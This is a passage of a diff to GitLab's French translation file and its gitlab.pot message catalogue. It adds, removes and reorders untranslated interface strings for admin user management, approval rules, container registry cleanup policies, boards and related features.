msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr "%{slash_command} mettra à jour la somme du temps passé."
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr "démarré"
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr "ce document"
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "pour aider vos contributeurs à communiquer efficacement !"
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/gitlab.pot b/locale/gitlab.pot
index 68643cb4a62..f641d86bffc 100644
--- a/locale/gitlab.pot
+++ b/locale/gitlab.pot
@@ -170,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -359,22 +359,19 @@ msgstr ""
msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{author_link} cloned %{original_issue} to %{new_issue}."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
+msgid "%{author_link} cloned %{original_issue}. You don't have access to the new project."
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{authorsName}'s thread"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{board_target} not found"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -618,9 +615,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -785,6 +779,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -795,6 +792,21 @@ msgid_plural "%{strong_start}%{commit_count}%{strong_end} Commits"
msgstr[0] ""
msgstr[1] ""
+msgid "%{strong_start}%{count} approval rule%{strong_end} requires eligible members to approve before merging."
+msgid_plural "%{strong_start}%{count} approval rules%{strong_end} require eligible members to approve before merging."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{strong_start}%{count} eligible member%{strong_end} must approve to merge."
+msgid_plural "%{strong_start}%{count} eligible members%{strong_end} must approve to merge."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{strong_start}%{count} member%{strong_end} must approve to merge. Anyone with role Developer or higher can approve."
+msgid_plural "%{strong_start}%{count} members%{strong_end} must approve to merge. Anyone with role Developer or higher can approve."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{strong_start}%{human_size}%{strong_end} Files"
msgstr ""
@@ -903,12 +915,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -956,9 +962,15 @@ msgstr ""
msgid "(%{value}) has already been taken"
msgstr ""
+msgid "(+%{count}&nbsp;rules)"
+msgstr ""
+
msgid "(No changes)"
msgstr ""
+msgid "(UTC %{offset}) %{timezone}"
+msgstr ""
+
msgid "(check progress)"
msgstr ""
@@ -1202,19 +1214,19 @@ msgstr ""
msgid "A CI/CD pipeline must run and be successful before merge."
msgstr ""
-msgid "A GitBook site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
+msgid "A GitBook site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
msgstr ""
msgid "A Gitpod configured Webapplication in Spring and Java"
msgstr ""
-msgid "A Hexo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
+msgid "A Hexo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
msgstr ""
-msgid "A Hugo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
+msgid "A Hugo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
msgstr ""
-msgid "A Jekyll site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
+msgid "A Jekyll site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
msgstr ""
msgid "A Let's Encrypt SSL certificate can not be obtained until your domain is verified."
@@ -1262,6 +1274,9 @@ msgstr ""
msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
+msgid "A merge request hasn't yet been merged"
+msgstr ""
+
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
msgstr ""
@@ -1280,13 +1295,13 @@ msgstr ""
msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
msgstr ""
-msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
+msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
msgstr ""
msgid "A platform value can be web, mob or app."
msgstr ""
-msgid "A project boilerplate for Salesforce App development with Salesforce Developer tools."
+msgid "A project boilerplate for Salesforce App development with Salesforce Developer tools"
msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
@@ -1295,10 +1310,10 @@ msgstr ""
msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
msgstr ""
-msgid "A ready-to-go template for use with Android apps."
+msgid "A ready-to-go template for use with Android apps"
msgstr ""
-msgid "A ready-to-go template for use with iOS Swift apps."
+msgid "A ready-to-go template for use with iOS Swift apps"
msgstr ""
msgid "A regular expression that will be used to find the test coverage output in the job log. Leave blank to disable"
@@ -1331,13 +1346,16 @@ msgstr ""
msgid "AWS Access Key"
msgstr ""
-msgid "AWS Access Key. Only required if not using role instance credentials"
+msgid "AWS Access Key. Only required if not using role instance credentials"
msgstr ""
msgid "AWS Secret Access Key"
msgstr ""
-msgid "AWS Secret Access Key. Only required if not using role instance credentials"
+msgid "AWS Secret Access Key. Only required if not using role instance credentials"
+msgstr ""
+
+msgid "AWS service error: %{error}"
msgstr ""
msgid "Abort"
@@ -1379,6 +1397,9 @@ msgstr ""
msgid "Access denied! Please verify you can add deploy keys to this repository."
msgstr ""
+msgid "Access denied: %{error}"
+msgstr ""
+
msgid "Access expiration date"
msgstr ""
@@ -1502,9 +1523,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1975,6 +1993,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|Disable feed token"
+msgstr ""
+
msgid "AdminSettings|Elasticsearch, PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
msgstr ""
@@ -1984,6 +2005,9 @@ msgstr ""
msgid "AdminSettings|Environment variables are protected by default"
msgstr ""
+msgid "AdminSettings|Feed token"
+msgstr ""
+
msgid "AdminSettings|Go to General Settings"
msgstr ""
@@ -2083,6 +2107,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2131,16 +2164,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2167,6 +2203,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2203,6 +2242,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2242,6 +2290,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2251,6 +2308,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2260,6 +2320,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2272,6 +2341,15 @@ msgstr ""
msgid "Administration"
msgstr ""
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
+msgstr ""
+
msgid "Advanced"
msgstr ""
@@ -2565,9 +2643,6 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
-msgstr ""
-
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
@@ -2589,6 +2664,9 @@ msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
+msgid "AlertSettings|Prometheus"
+msgstr ""
+
msgid "AlertSettings|Prometheus API base URL"
msgstr ""
@@ -2688,9 +2766,6 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
-msgstr ""
-
msgid "AlertsIntegrations|Integration Name"
msgstr ""
@@ -2700,9 +2775,6 @@ msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
-msgstr ""
-
msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
msgstr ""
@@ -2721,6 +2793,9 @@ msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
msgstr ""
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
@@ -2808,6 +2883,9 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
+msgid "Allow overrides to approval lists per merge request (MR)"
+msgstr ""
+
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -2826,6 +2904,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2991,6 +3072,9 @@ msgstr ""
msgid "An error occurred while adding formatted title for epic"
msgstr ""
+msgid "An error occurred while authorizing your role"
+msgstr ""
+
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -3096,13 +3180,13 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
-msgid "An error occurred while getting files for - %{branchId}"
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
msgstr ""
-msgid "An error occurred while getting projects"
+msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while getting projects"
msgstr ""
msgid "An error occurred while initializing path locks"
@@ -3237,6 +3321,9 @@ msgstr ""
msgid "An error occurred while updating approvers"
msgstr ""
+msgid "An error occurred while updating assignees."
+msgstr ""
+
msgid "An error occurred while updating configuration."
msgstr ""
@@ -3246,6 +3333,12 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the configuration."
+msgstr ""
+
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3261,7 +3354,7 @@ msgstr ""
msgid "An error ocurred while loading your content. Please try again."
msgstr ""
-msgid "An example project for managing Kubernetes clusters integrated with GitLab."
+msgid "An example project for managing Kubernetes clusters integrated with GitLab"
msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
@@ -3354,7 +3447,7 @@ msgstr ""
msgid "Any label"
msgstr ""
-msgid "Any member with Developer or higher permissions to the project."
+msgid "Any member with at least Developer permissions on the project."
msgstr ""
msgid "Any milestone"
@@ -3432,6 +3525,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3494,13 +3593,16 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
-msgid "ApprovalRule|Approvers"
+msgid "ApprovalRule|Approval rules"
msgstr ""
-msgid "ApprovalRule|Name"
+msgid "ApprovalRule|Approvals required"
+msgstr ""
+
+msgid "ApprovalRule|Approvers"
msgstr ""
-msgid "ApprovalRule|No. approvals required"
+msgid "ApprovalRule|Name"
msgstr ""
msgid "ApprovalRule|Rule name"
@@ -3521,6 +3623,9 @@ msgstr ""
msgid "ApprovalStatusTooltip|Fails to adhere to separation of duties"
msgstr ""
+msgid "Approvals are optional."
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -3623,9 +3728,6 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
-msgid "Are you sure you want to delete this board?"
-msgstr ""
-
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -3896,9 +3998,6 @@ msgstr ""
msgid "Audit Events is a way to keep track of important events that happened in GitLab."
msgstr ""
-msgid "Audit Log"
-msgstr ""
-
msgid "AuditLogs|(removed)"
msgstr ""
@@ -3956,6 +4055,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4076,6 +4181,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4115,7 +4223,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgid "Automatically close incidents when the associated Prometheus alert resolves."
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4277,9 +4385,6 @@ msgstr ""
msgid "Based on"
msgstr ""
-msgid "Basic Sample Data template with Issues, Merge Requests and Milestones."
-msgstr ""
-
msgid "Be careful. Changing the project's namespace can have unintended side effects."
msgstr ""
@@ -4364,12 +4469,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4411,9 +4522,6 @@ msgstr ""
msgid "Blog"
msgstr ""
-msgid "Board scope"
-msgstr ""
-
msgid "Board scope affects which issues are displayed for anyone who visits this board"
msgstr ""
@@ -4468,6 +4576,30 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|Are you sure you want to delete this board?"
+msgstr ""
+
+msgid "Board|Board scope"
+msgstr ""
+
+msgid "Board|Create board"
+msgstr ""
+
+msgid "Board|Create new board"
+msgstr ""
+
+msgid "Board|Delete board"
+msgstr ""
+
+msgid "Board|Edit board"
+msgstr ""
+
+msgid "Board|Enter board name"
+msgstr ""
+
+msgid "Board|Failed to delete board. Please try again."
+msgstr ""
+
msgid "Board|Load more issues"
msgstr ""
@@ -4498,9 +4630,6 @@ msgstr ""
msgid "Branch not loaded - %{branchId}"
msgstr ""
-msgid "Branch prefix"
-msgstr ""
-
msgid "BranchSwitcherPlaceholder|Search branches"
msgstr ""
@@ -4669,6 +4798,24 @@ msgstr ""
msgid "Bulk request concurrency"
msgstr ""
+msgid "BulkImport|From source group"
+msgstr ""
+
+msgid "BulkImport|Import groups from GitLab"
+msgstr ""
+
+msgid "BulkImport|Importing groups from %{link}"
+msgstr ""
+
+msgid "BulkImport|Importing the group failed"
+msgstr ""
+
+msgid "BulkImport|To new group"
+msgstr ""
+
+msgid "BulkImport|Update of import statuses with realtime changes failed"
+msgstr ""
+
msgid "BulkImport|expected an associated Group but has an associated Project"
msgstr ""
@@ -4822,9 +4969,6 @@ msgstr ""
msgid "Can be manually deployed to"
msgstr ""
-msgid "Can override approvers and approvals required per merge request"
-msgstr ""
-
msgid "Can't apply as the source branch was deleted."
msgstr ""
@@ -4837,6 +4981,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4870,6 +5017,30 @@ msgstr ""
msgid "Canary weight must be specified and valid range (0..100)."
msgstr ""
+msgid "CanaryIngress|%{boldStart}Canary:%{boldEnd} %{canary}"
+msgstr ""
+
+msgid "CanaryIngress|%{boldStart}Stable:%{boldEnd} %{stable}"
+msgstr ""
+
+msgid "CanaryIngress|Canary"
+msgstr ""
+
+msgid "CanaryIngress|Change ratio"
+msgstr ""
+
+msgid "CanaryIngress|Change the ratio of canary deployments?"
+msgstr ""
+
+msgid "CanaryIngress|Doing so will set a deployment change in progress. This temporarily blocks any further configuration until the deployment is finished."
+msgstr ""
+
+msgid "CanaryIngress|Stable"
+msgstr ""
+
+msgid "CanaryIngress|You are changing the ratio of the canary rollout for %{environment} compared to the stable deployment to:"
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -5071,9 +5242,6 @@ msgstr ""
msgid "Channel handle (e.g. town-square)"
msgstr ""
-msgid "Charts"
-msgstr ""
-
msgid "Charts can't be displayed as the request for data has timed out. %{documentationLink}"
msgstr ""
@@ -5131,6 +5299,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5317,12 +5488,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5344,9 +5509,15 @@ msgstr ""
msgid "Choose a type..."
msgstr ""
+msgid "Choose any color"
+msgstr ""
+
msgid "Choose any color."
msgstr ""
+msgid "Choose any color. Or you can choose one of the suggested colors below"
+msgstr ""
+
msgid "Choose between %{code_open}clone%{code_close} or %{code_open}fetch%{code_close} to get the recent application code"
msgstr ""
@@ -5527,7 +5698,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5575,12 +5746,6 @@ msgstr ""
msgid "Click %{link_to} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
-msgstr ""
-
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
-msgstr ""
-
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
msgstr ""
@@ -5611,6 +5776,9 @@ msgstr ""
msgid "Clone repository"
msgstr ""
+msgid "Clone this issue"
+msgstr ""
+
msgid "Clone with %{http_label}"
msgstr ""
@@ -5623,10 +5791,19 @@ msgstr ""
msgid "Clone with SSH"
msgstr ""
-msgid "Close"
+msgid "CloneIssue|Cannot clone issue due to insufficient permissions!"
+msgstr ""
+
+msgid "CloneIssue|Cannot clone issue to target project as it is pending deletion."
+msgstr ""
+
+msgid "Cloned this issue to %{path_to_project}."
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Clones this issue, without comments, to %{project}."
+msgstr ""
+
+msgid "Close"
msgstr ""
msgid "Close %{issueType}"
@@ -5839,6 +6016,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6097,9 +6277,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6202,6 +6379,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6535,7 +6715,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6733,9 +6913,6 @@ msgstr ""
msgid "Code Owners"
msgstr ""
-msgid "Code Owners to the merge request changes."
-msgstr ""
-
msgid "Code Quality"
msgstr ""
@@ -6876,6 +7053,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -7002,6 +7182,24 @@ msgstr ""
msgid "ComplianceDashboard|created by:"
msgstr ""
+msgid "ComplianceFrameworks|Add framework"
+msgstr ""
+
+msgid "ComplianceFrameworks|All"
+msgstr ""
+
+msgid "ComplianceFrameworks|Error fetching compliance frameworks data. Please refresh the page"
+msgstr ""
+
+msgid "ComplianceFrameworks|Once you have created a compliance framework it will appear here."
+msgstr ""
+
+msgid "ComplianceFrameworks|Regulated"
+msgstr ""
+
+msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
+msgstr ""
+
msgid "ComplianceFramework|GDPR"
msgstr ""
@@ -7219,10 +7417,13 @@ msgstr[1] ""
msgid "ContainerRegistry|%{imageName} tags"
msgstr ""
-msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
+msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
-msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
+msgid "ContainerRegistry|%{strongStart}Enabled%{strongEnd} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
+msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
msgid "ContainerRegistry|Build an image"
@@ -7237,9 +7438,6 @@ msgstr ""
msgid "ContainerRegistry|Cleanup policy successfully saved."
msgstr ""
-msgid "ContainerRegistry|Cleanup policy:"
-msgstr ""
-
msgid "ContainerRegistry|Cleanup timed out before it could delete all tags"
msgstr ""
@@ -7270,9 +7468,6 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
-msgid "ContainerRegistry|Expiration interval:"
-msgstr ""
-
msgid "ContainerRegistry|Expiration policies help manage the storage space used by the Container Registry, but the expiration policies for this registry are disabled. Contact your administrator to enable. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7282,9 +7477,6 @@ msgstr ""
msgid "ContainerRegistry|Expiration policy will run in %{time}"
msgstr ""
-msgid "ContainerRegistry|Expiration schedule:"
-msgstr ""
-
msgid "ContainerRegistry|Filter by name"
msgstr ""
@@ -7300,6 +7492,18 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Last updated %{time}"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7309,7 +7513,13 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
-msgid "ContainerRegistry|Number of tags to retain:"
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
msgstr ""
msgid "ContainerRegistry|Published %{timeInfo}"
@@ -7332,7 +7542,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7365,19 +7584,22 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
-msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
